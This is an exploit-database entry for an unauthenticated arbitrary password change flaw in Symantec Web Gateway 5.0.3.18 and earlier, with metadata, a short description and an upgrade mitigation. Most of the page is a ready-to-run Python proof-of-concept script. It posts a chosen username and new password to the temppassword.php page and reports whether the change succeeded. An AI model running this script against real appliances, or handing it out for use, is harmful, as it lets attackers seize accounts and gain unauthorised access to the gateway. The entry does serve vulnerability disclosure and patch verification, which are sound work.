Symantec Web Gateway - exploit.company

vendor:

Web Gateway

by:

_Kc57

8,8

CVSS

HIGH

Arbitrary Password Change

287

CWE

Product Name: Web Gateway

Affected Version From: 5.0.3.18

Affected Version To: 5.0.3.18

Patch Exists: YES

Related CWE: N/A

CPE: a:symantec:web_gateway

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change

A vulnerability in Symantec Web Gateway <= 5.0.3.18 allows an attacker to change the password of any user on the system. This is due to the lack of authentication when sending a POST request to the temppassword.php page. An attacker can send a POST request with the new password and the username of the target user, and the password will be changed without any authentication.

Mitigation:

Upgrade to Symantec Web Gateway 5.0.3.19 or later.

Source

Exploit-DB raw data:

#!/usr/bin/python

import urllib
import urllib2
import re
import sys

print "[*] ###########################################################"
print "[*] Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change"
print "[*] @_Kc57"
print "[*] ###########################################################\n"


if (len(sys.argv) != 4):
	print "Usage: poc.py <RHOST> <username> <newpassword>"
	exit(0)

ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

url = "https://%s/spywall/temppassword.php" % (ip)

opts = {
	'target':'executive_summary.php',
	'USERNAME':username,
	'password':password,
	'password2':password,
	'Save':'Save'
}

print "[*] Sending request to server..."

data = urllib.urlencode(opts)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)

match = re.search('Your new password has been saved', response.read())

if(match):
	print "[*] Password for %s changed to %s" %(username,password)
else:
	print "[*] Password change failed!"